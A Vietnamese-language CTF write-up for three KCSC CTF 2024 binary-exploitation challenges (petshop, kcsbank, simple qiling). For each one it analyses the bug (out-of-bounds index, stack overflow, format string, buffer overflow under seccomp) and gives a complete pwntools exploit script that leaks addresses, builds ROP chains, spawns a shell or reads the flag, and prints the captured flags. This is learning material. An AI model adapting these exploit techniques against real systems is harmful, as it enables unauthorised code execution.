Try   HackMD

(writeup) KCSC CTF 2024

petshop

  • basic file check

image

  • check ida

image

main()

image

buy()

image

sell()

image

info()

analyse

  • chall có 3 chức năng chính buy() , sell()info()
  • ở hàm buy() có bug OOB khi không check khả năng âm của idx

image

only check > 3

  • tức ta có thể trỏ ngược lên phân vùng bss trên dogs hoặc cats

image

với idx là -2 có thể leak được exe

  • ở hàm sell() có bug khác là Stack Overflow khi không memset() thằng n cho size

image

tức là n là stack
sẽ còn giá trị rác
khi ta thoả mãn scanf return False (đọc thất bại) nhưng không thay đổi giá trị nào trên stack
với format "%d" (nhận gtri số), ta có thể bypass bằng cách nhập gtri khác (như byte 'a' hoặc byte enter '\x0a')
bug nằm ở phép toán logic '&&'
trong coding gọi là hiện tượng đoản mạch
đk trái False thì không xét đk phải
-> hàm if sẽ không nhảy vào

  • trước khi quay lại hàm buy(), ta thấy stack cho nhập size là:
    int n; // [rsp+18h] [rbp-208h]
  • so sánh với buffer khi nhập name cho pets

image

read 1024 ~ 0x400

image

char s[1037]; // [rsp+20h] [rbp-424h]

  • vậy hoàn toàn có thể set size cho sell() bằng cách padding lượng lớn khi nhập name ở buy()
  • ở hàm info(), khi chọn option 'mine' sẽ leak value là con trỏ đang trỏ tới

image

format "%s"

  • tóm lại, có BOF -> leak exe > leak libc > ret2libc

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('petshop_patched', checksec=False)
libc = ELF('libc-2.31.so', checksec=False)
context.binary = exe

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*buy+289
                b*info+383
                b*sell+245
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('103.163.24.78',10001)
else:
        p = process(exe.path)

def buy(pet, choice, name):
        p.recvline()
        sla(b'--> ',b'buy ' + pet + b' ' + str(choice).encode())
        p.recvline()
        sla(b'--> ',name)
        p.recvline()
        p.recvline()
def sell(index,size,reason):
        p.recvline()
        sla(b'--> ',b'sell ' + str(index).encode())
        p.recvline()
        p.recvline()
        sla(b'--> ',size)
        p.recvline()
        sla(b'--> ',reason)
def show():
        p.recvline()
        sla(b'--> ',b'info mine')

p.recvline()
p.recvline()
# GDB()

idx = (exe.got.puts - exe.sym.cats)/8 +1

buy(b'cat',-2,b'a'*1023)

show()
p.recvuntil(b'1. ')
exe_leak = u64(p.recv(6)+b'\0\0')
exe.address = exe_leak - 0x4008
info("exe leak: "  + hex(exe_leak))
info("exe base: "  + hex(exe.address))

pop_rdi = exe.address + 0x0000000000001a13

payload = b'a'*0x209
payload += p64(pop_rdi) + p64(exe.got.puts) 
payload += p64(exe.plt.puts) + p64(exe.sym.main)

sell(0,b'',payload)

p.recvuntil(b'reasonable!\n')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.puts
info("libc leak: " + hex(libc_leak))
info("libc base:" + hex(libc.address))

payload = b'a'*0x209
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(pop_rdi+1) + p64(libc.sym.system)

buy(b'cat',0,b'a'*1023)

sell(1,b'',payload)

p.interactive()
#KCSC{0h_n0_0ur_p3t_h4s_bug?!????????????????????}

KCSC{0h_n0_0ur_p3t_h4s_bug?!???}


kcsbank

  • basic file check

image

  • check ida

image

main()
2 chế độ: đã login và chưa login

image

general_action() : chưa login
có 2 option

image

login()

image

reg()

image

account_action() : đã login
có 3 option

image

deposit()

image

withdraw()

image

info()
dễ dàng thấy có bug fmtstr ở đây

analyse

  • vì có bug fmstr nên payload ta nằm ngay từ lúc reg() khi nhập full name
  • tóm lại: -> leak libc -> leak stack -> fmtstr ret2libc

note: tui thử one_gadget nhưng không được

  • một điều nữa là phải fmtstr thêm 1 cái ngay ret sau main

chả biết nữa, lúc run thì thấy nếu fmtstr ở đó nó lại return stack kế tiếp =))))
nếu không thì nó exit do libc như bình thường

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./banking_patched', checksec=False)
libc = ELF('./libc.so.6',checksec=False)

context.binary = exe

def GDB(): #NOASLR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x555555555656
                #printf
                b*0x55555555589f
                #ret_main
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('103.163.24.78',10002)
else:
        p = process(exe.path)

def show():
        sla(b'> ',b'3')

def reg(username,password,name):
        sla(b'> ',b'2')
        sla(b'username: ',username)
        sla(b'password: ',password)
        sla(b'name: ',name)

def login(username,password):
        sla(b'> ',b'1')
        sla(b'Username: ',username)
        sla(b'Password: ',password)

def logout(feedback):
        sla(b'> ',b'4')
        sla(b'feedback: ',feedback)

GDB()


reg(b'a',b'b',b'%29$p|%6$p')
login(b'a',b'b')

show()

libc_leak = int(p.recvuntil(b'|',drop=True),16)
libc.address = libc_leak - libc.sym.puts - 506
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
stack_leak = int(p.recvuntil(b'\n',drop=True),16)
info("stack leak: " + hex(stack_leak))

system = libc.sym.system
binsh = next(libc.search(b'/bin/sh\0'))
pop_rdi = libc.address + 0x00000000000240e5

ret = stack_leak + 0x30
info("stack ret: " + hex(ret))

logout(b'hlaan')
#########################################
payload = f'%{(ret-8)&0xffff}c%10$hn'

reg(b'aaaa',b'dddd',payload)
login(b'aaaa',b'dddd')
show()
logout(b'hlaan')

payload = f'%{pop_rdi&0xffff}c%44$hn'

reg(b'abc',b'def',payload)
login(b'abc',b'def')
show()
logout(b'hlaan')
#########################################
chain = [pop_rdi,binsh,system]
for i in range(3):
        for j in range(3):
                payload = f'%{(ret+2*j+8*i)&0xffff}c%13$hn'

                reg(b'c'*i,b'd'*i,payload)
                login(b'c'*i,b'd'*i)
                show()
                logout(b'hlaan')

                payload = f'%{(chain[i]>>16*j)&0xffff}c%40$hn'

                reg(b'e'*i,b'f'*i,payload)
                login(b'e'*i,b'f'*i)
                show()
                logout(b'hlaan')
show()

p.interactive()
#KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}

KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}


simple qiling

  • basic file check

image

nhìn z thôi chứ không phải z =)))
do qiling nó NOASLR =))))

  • check ida

image

main()

analyse

  • thấy rõ là có bug BOF
  • việc còn lại là ret2libc

setup

python3 -m venv qilingenv
source qilingenv/bin/activate
git clone -b dev https://github.com/qilingframework/qiling.git
cd qiling && git submodule update --init --recursive
pip3 install .


https://docs.qiling.io/en/latest/install/
https://docs.qiling.io/en/latest/debugger/
https://docs.qiling.io/en/latest/qdb/

ropchain

  • đầu tiên ta cần debug trước lấy canary
  • và phải active tool trước khi debug: source qilingenv/bin/activate

image

  • thấy được là canary tĩnh

0x6161616161616100

  • ngộ cái là khi leak thành công libc, return lại main nhưng setup tiếp ret2libc(pop_rdi->binsh->system) thì bị EOF

sợ xmm nhưng thêm ret vẫn thể

  • chuyển hướng qua execve (ret2syscall) nhưng vẫn tịt
  • quên là có setup 1 func seccomp lại

image

  • nên còn 1 phương án cuối hơi quằn là ORW =))))
  • nếu set path flag.txt (call read 1 lần nữa đưa flag.txt vào rw_section) ở payload thứ 2 thì quá dài (hơn 0x100 byte) nên sẽ set ở payload thứ 1

hên exe có gadget rsi

get flag

image

  • debug:
#!/usr/bin/env python3
# import qiling
from qiling import Qiling
from qiling.const import QL_VERBOSE
import sys

#0x5555555553e4

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ELF>")
        sys.exit(1)
    cmd = [sys.argv[1]]

    # ql = qiling.Qiling(cmd, console=False, rootfs='.')
    ql = Qiling(cmd, console=False, rootfs='.', verbose=QL_VERBOSE.DEBUG)
    ql.debugger = 'qdb'
    ql.run()
  • script:
#!/usr/bin/env python3

from pwn import *
from qiling import *

exe = ELF("./simpleqiling_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")

context.binary = exe

# p = process(exe.path)
p = remote('103.163.24.78',10010)

p.recvline()
exe.address = 0x555555554000
pop_rdi = exe.address + 0x0000000000001473
main = exe.address + 0x1314
pop_rsi_r15 = exe.address + 0x0000000000001471
rw_section = 0x555555558a00

payload = b'a'*0x28
payload += p64(0x6161616161616100)
payload += b'a'*8
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(rw_section+0x200) + p64(0)
payload += p64(exe.plt.read)
payload += p64(pop_rdi) + p64(exe.got.puts)
payload += p64(exe.plt.puts) + p64(main)

p.send(payload)

p.send(b'flag.txt\0')


libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.puts
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))

p.recvline()

pop_rdi = libc.address + 0x0000000000023b6a
pop_rsi = libc.address + 0x000000000002601f
pop_rdx = libc.address + 0x0000000000142c92
pop_rax = libc.address + 0x0000000000036174
syscall = libc.address + 0x000000000002284d

# payload = b'a'*0x28
# payload += p64(0x6161616161616100)
# payload += b'a'*8
# payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
# # payload += p64(pop_rdi+1)
# payload += p64(libc.sym.system)

# payload = b'a'*0x28
# payload += p64(0x6161616161616100)
# payload += b'a'*8
# payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
# payload += p64(pop_rsi) + p64(0)
# payload += p64(pop_rdx) + p64(0)
# payload += p64(pop_rax) + p64(0x3b)
# payload += p64(syscall)

payload = b'a'*0x28
payload += p64(0x6161616161616100)
payload += b'a'*8
payload += p64(pop_rdi) + p64(rw_section+0x200)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rsi) + p64(0)
payload += p64(libc.sym.open)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(rw_section)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(libc.sym.read)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(rw_section)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(libc.sym.write)

p.send(payload)

p.interactive()
#KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}

KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}